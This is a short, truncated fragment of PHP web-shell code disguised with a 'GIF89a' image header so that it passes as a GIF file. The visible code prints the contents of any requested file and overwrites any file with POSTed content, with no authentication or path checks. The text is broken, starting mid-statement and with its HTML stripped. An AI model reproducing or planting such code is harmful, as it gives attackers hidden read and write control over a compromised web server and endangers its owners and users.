GIF89a GIF89a
" . htmlspecialchars(file_get_contents($file)) . ""; echo "Back"; echo "
";
exit;
}
if ($action === 'edit' && $file && file_exists($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
file_put_contents($file, $_POST['content']);
echo "Saved successfully.
";
}
echo "